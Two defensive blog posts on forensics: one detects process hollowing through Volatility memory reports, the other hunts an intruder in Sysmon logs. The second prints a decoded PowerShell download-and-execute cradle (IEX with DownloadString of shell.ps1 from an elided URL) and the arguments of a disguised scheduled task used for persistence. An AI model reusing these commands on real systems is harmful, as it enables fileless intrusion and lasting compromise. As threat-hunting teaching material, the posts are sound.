DEV Community: M.M

Process Hollowing Detection: Your RAM is your treasure!

M.M — Fri, 08 May 2026 08:40:24 +0000

INTRODUCTION
Today, we are going to be diving into Process Hollowing, a cyber attack technique used by hackers to introduce and run malware into a victim machine.

In this article, you'll learn how it works, how to detect it on your system, and go through a practical carried out to detect Process Hollowing.

Before beginning the article, a huge thank you to HSC Consult for the mentorship efforts on this journey.

HOW DOES PROCESS HOLLOWING WORK?
On a very high level, this is just a bad untrusted process pretending to be a trusted process, in order to avoid detection systems. As a user, you could be seeing a notepad process running. Normal, right? Wrong! Someone made it look like a notepad process, but it really is malware running on your system.

Process Hollowing starts up a new program that is known and trusted, and right before the program executes, the attacker finds where the program code sits in memory, writes over the code with new code, and then executes the process. That way, when the trusted program fully executes, it executes the injected malware.

Just as an example, let's say that the trusted process is notepad.exe, a tool used very frequently on Windows system.

HOW RAM CAN BE USEFUL IN DETECTING PROCESS HOLLOWING
When this happens, memory analysis is very helpful in detecting this technique. Note that Process Hollowing can be classified as 'Living-off-the-land' (LOTL) attack, since it makes use of legitimate processes (Read more on LOTL here).

To understand how RAM is useful here, let's review how RAM works.

RAM is the short-term working memory of the computer. What does that even mean? Well, think about this analogy:

Say you wanted to have breakfast in the morning. You think "Let me warm some bacon and toast on the pan", and then "The heat is too much... there, much better!", "All done. It's smells so good", "Wow, that was delicious, I was so hungry!"
Once you're done with breakfast, you leave the pan and plate in the sink to clean later.
If I walked into your kitchen and find the pan and plate in the sink, that will be enough evidence to tell me that you ate breakfast today.

Well, sometimes when attacks happen, there exists the typical evidence that tells us that someone did something, just like the dishes in the sink. This often appears as malicious files within the computer storage.

But what if they don't leave a file behind? What if they clean up the sink after breakfast? In that case, we can search the memory for 'thoughts', such as the thoughts you had while having bacon and toast for breakfast. Those thoughts tell us what you did sequentially, what you ate, when you ate it and that you actually enjoyed breakfast. RAM works the same way; it logs the processes within the computer as they are happening, regardless of whether there is evidence on the disk or not.

One thing to remember about RAM is that it is volatile (can be lost very easily). RAM requires continuous power to maintain data. During a forensic investigation, never switch off the computer! Capture RAM first, before the computer is powered off. If the power goes off, you lose your treasure.

PRACTICAL
Volatility is a supreme tool for memory analysis! Once you have the captured RAM, you can generate a couple of reports using the tool, which you'll analyse for the threat landscape.

For this practical, 3 reports were analysed:

pstree_output.txt (Process Tree Analysis)
malfind_results.txt (Memory Injection/In-memory artifacts)
netscan_results.txt (Network Connection artifacts)

Analysis of Parent-Child Process Hierarchy
The pstree_output.txt report maps out all running processes and their parent-child relationships, helping you spot processes spawned by unusual or unexpected parents.

The goal here is to confirm that each active process came from a valid parent in order to create a baseline of system integrity. Every entry was compared to the Parent Process ID (PPID) standard Windows architectural expectations.

Process ..... PID .... Parent Process .... PPID .... Is this normal?
svchost.exe .... 720 .... services.exe .... 512 .... Yes
svchost.exe .... 884 .... services.exe .... 512 .... Yes
svchost.exe .... 3880 .... notepad.exe .... 2250 .... No!

svchost.exe is a standard Windows system process, completely legit. It seems that the third svchost.exe was spawned by the parent process notepad.exe, which is very unusual and suspicious.

Analysis of the Network Connections
The detected PID 3880 was cross-analyzed using grep CLI command across the remaining forensic datasets. The results showed one entry each within the other reports.

The netscan_results.txt report lists all active and recently closed network connections, showing which processes are communicating externally and on what ports.

PID 3880 in the networkscan file indicates that the process is communicating outside of the local network and is linked to an active, established connection to an external host. Looking at the report, there was an external IP connection, with Port of destination: 443 (HTTPS) and State of Connection: Established.

Using Port 443 enables the malicious communication to evade perimeter firewall inspections and interact with legitimate online traffic. This established relationship demonstrates that the process is actively controlled by an outside party rather than just being inactive, Command & Control (C2) in action!

Malware Analysis and Memory Artefacts
The malfind_results.txt report scans memory regions for suspicious executable code, flagging areas with RWX permissions or embedded PE headers that suggest injection.

svchost.exe (PID 3880) showed an indicator of a malicious payload; it showed indicators of injected shellcode or a reflective PE (Portable Executable) loader in the existence of RWX memory. This means that the file had read, write and execute permissions, which is very unusual. PAGE_EXECUTE_READ or PAGE_READONLY is the architectural standard for a common system component such as svchost.exe.

Magic Bytes were found at the beginning of the memory section after more examination of the PID 3880 raw hexadecimal data:
Header in Hex: 4d 5a
Translation of ASCII: MZ

These bytes are the Windows Portable Executable (.exe) Magic Header, a raw executable header residing unbacked in the memory space of the running process, indicating that a malicious binary has been loaded straight into the RAM of PID 3880.

CONCLUSION
Process Hollowing is a sneaky technique, but it's not unbeatable. As we saw in the practical, memory analysis using Volatility can expose the attack through a combination of clues — an unusual parent-child process relationship, an active C2 connection, and RWX memory regions containing a raw PE header. You can use Volatility to get more clues! No single indicator tells the full story, but together they paint a clear picture of compromise. The takeaway? Always capture RAM before pulling the plug, and let the memory do the talking. The attacker may have skipped leaving files on disk, but the "thoughts" in RAM gave them away.

Sysmon Logs Deep-Dive - From Raw Data to Threat Evidence

M.M — Mon, 20 Apr 2026 15:14:19 +0000

Introduction

Imagine getting an alert that your systems have been compromised, and yet you've gotten zero alerts from your EDR. None! As much as we trust our automated software tools, it's not enough to sit tight and comfy until you get an alert. You should know that hackers expect you to sit back and wait for them, and they use that to their advantage. You don't believe me? Look at this tool right here - Backstab. Go ahead. I'll wait.

The damn thing is meant to kill Anti-malware protected processes! Your EDR can be silenced easily, and this is just one of many tools out there.

That's why we have Threat Hunters. It is essential to have an intelligent and inquisitive team working 24/7 assuming that a breach has already happened, and searching through your system for anything that your EDR and Anti-malware might have missed.

This article shows the logic behind sniffing out an attacker in your system. We will be analysing logs from Sysmon, a tool used to monitor and log system activity to Windows event log.

Before beginning the article, a huge thank you to HSC Consult for the mentorship efforts on this journey.

Challenge for the day

Effective threat hunting starts with quality intelligence about previous attacks. A good way to stay proactive is by using third-party threat feeds that allow you to add threat intelligence from external sources to your firewall. Such a set-up checks your logs to see if traffic matches any Indicators of Compromise, i.e., IP addresses, domains, URLs that are commonly used by known threat actors.

In our case, a third-party feed noticed a very suspicious IP address in the Windows event logs, that was linked to a famous hacker group. The EDR in place didn't flag anything. That's bad news.

Finding the culprit

A JSON log dataset was extracted from Sysmon to identify the point of entry, the persistence mechanism and the attacker's ultimate goal. Before getting to the good stuff, I had to clean the dataset: there's always some 'noise' to be edited out.

First thing's first, I searched for the suspicious IP that was flagged in our system. The results showed that there was one EventID 3. EventID is basically a category of logs. There are several categories to know. A Sysmon EventID 3 often means that a network connection was made. The Image associated with the log was a file path to Powershell. The port used was Port 80. There was also a CommandLine value found.

What exactly did they do?

The attacker made a network connection to Powershell... that's odd... Rather than using suspicious remote desktop tools, they used Powershell, a normal everyday tool used for legit purposes. No wonder the EDR missed this! This kind of attack is called "Living off the Land" (LotL) attack, because they are abusing known and trusted tools to do their dirty work.

Was there any Process Creation events, I mean, how did this attack begin? Maybe we could find more information on the parent processes or any command line arguments used. I searched for any Sysmon EventID 1 (Process Creation Events) associated with the suspicious IP. No hit. Any Process IDs? ... nope. Okay... I think the attacker was already in the system before Sysmon began capturing these logs.

Let's take a look at the CommandLine value found. The command was Base64-encoded. They used ‘-enc ‘ (-EncodedCommand), basically saying 'Hey Powershell, execute this Base64 encoded script as a command, thanks!' Sneaky bastards. This is obfuscation, an attempt to hide their intent and avoid being caught by security monitoring tools. Another reason why the EDR missed this.

What does this command do? I decoded the command, and guess what I found...
IEX - A built-in Powershell command (Invoke-Expression) that runs a specific string as a command.
(New-Object Net.WebClient). - In Windows, this part of the command references a class used to download things from the internet
DownloadString('http:///...url.../shell.ps1) - This is an instruction to fetch code from the URL, and ‘shell.ps1’ is the powershell script being downloaded.

Essentially, they are trying to fetch and execute a payload directly into the memory of the system using Powershell. This is a common fileless payload delivery mechanism, where the attacker avoids touching the disk, and leaving forensic evidence that can be caught by Antiviruses and EDR solutions. Third reason why the EDR missed this.

Also, the attacker made a mistake when scripting the attack. They used a triple slash ‘///’ instead of a double slash ‘//’ to reference the URL. The command was typed out by a human being, rather than an automated server. Man is to error. Got you!

Did they make an effort to stay here?

When I see Powershell being used for such a thing, the default line of questioning is, did they do anything to ensure their scripts are not just running the first time, but even after the system reboots? This is called Persistence; they just don't want to leave.

Attackers can manipulate Registry Run Keys to ensure that malicious programs run automatically when the system starts, obtaining persistence. I searched through the dataset for execution of ‘reg.exe’, making sure to run a case sensitive search. No ‘reg.exe’ was found.

Scheduled Tasks can also be used to gain persistence and maintain access to compromised systems by automating certain tasks to run at specific times and under certain conditions. I searched through the dataset for any Process Creation events with Image containing ‘schtasks.exe’. I found something: One entry was found with EventID 1 and an Image referencing ‘schtasks.exe’.

The command line used by the attacker to remain in the system after reboot was:
/Create - Making a new scheduled tasks
/SC MINUTE - Scheduling the task by the minute
/MO 30 - Instruction to run the task every 30 minutes
/TN \"WindowsUpdateCheck\ - Naming the task ‘WindowsUpdateCheck’
/TR \"C:\\Users\\Public\\Update.exe\ - Instruction to run the task in the named file

The attacker used a command that created a new scheduled task that was scheduled to run every 30 minutes. This is a significant red flag! Why?

What is an update.exe file doing within the Public folder?
Normally, legitimate Windows system updates generally reside in secured system folders, such as C:\Windows\System32 or C:\Windows\SoftwareDistribution.
The file was named WindowsUpdateCheck. Such liars! They think we would overlook that. Not today buddy.

Attack Mapping

MITRE ATT&CK is one amazing resource, that informs on various techniques used by known threat actors to attack organizations.

Here's the MITRE ATT&CK mapping:

Command and Scripting Interpreter (T1059) — Attackers abuse scripting tools like PowerShell that are already trusted and native to the OS. Because these tools are used legitimately every day, security solutions often can't tell the difference between normal and malicious use — making it a go-to for staying under the radar.
Scheduled Task/Job (T1053) — Built-in task scheduling features can be weaponized to automatically re-run malicious code at set intervals, even after a reboot. It's a persistence trick that blends in because scheduled tasks are completely normal system behavior.
Data Encoding (T1132) — Encoding is used to obscure the true intent of a command, making it harder for security tools to recognise a known-bad string or pattern. It's essentially a way to wrap something malicious in something that looks like gibberish.
Ingress Tool Transfer (T1105) — Rather than dropping files on disk where they can be scanned and flagged, attackers can pull remote payloads directly into memory at runtime. No file, no footprint, nothing for an antivirus to sink its teeth into.

Conclusion
Threat hunting isn't about waiting for an alarm to go off — it's about assuming something is already wrong and searching for the problem. This exercise showed how an attacker can move through a system, leaving almost no trace for automated solutions to catch.

The key takeaway? Your EDR is a safety net, not a security strategy.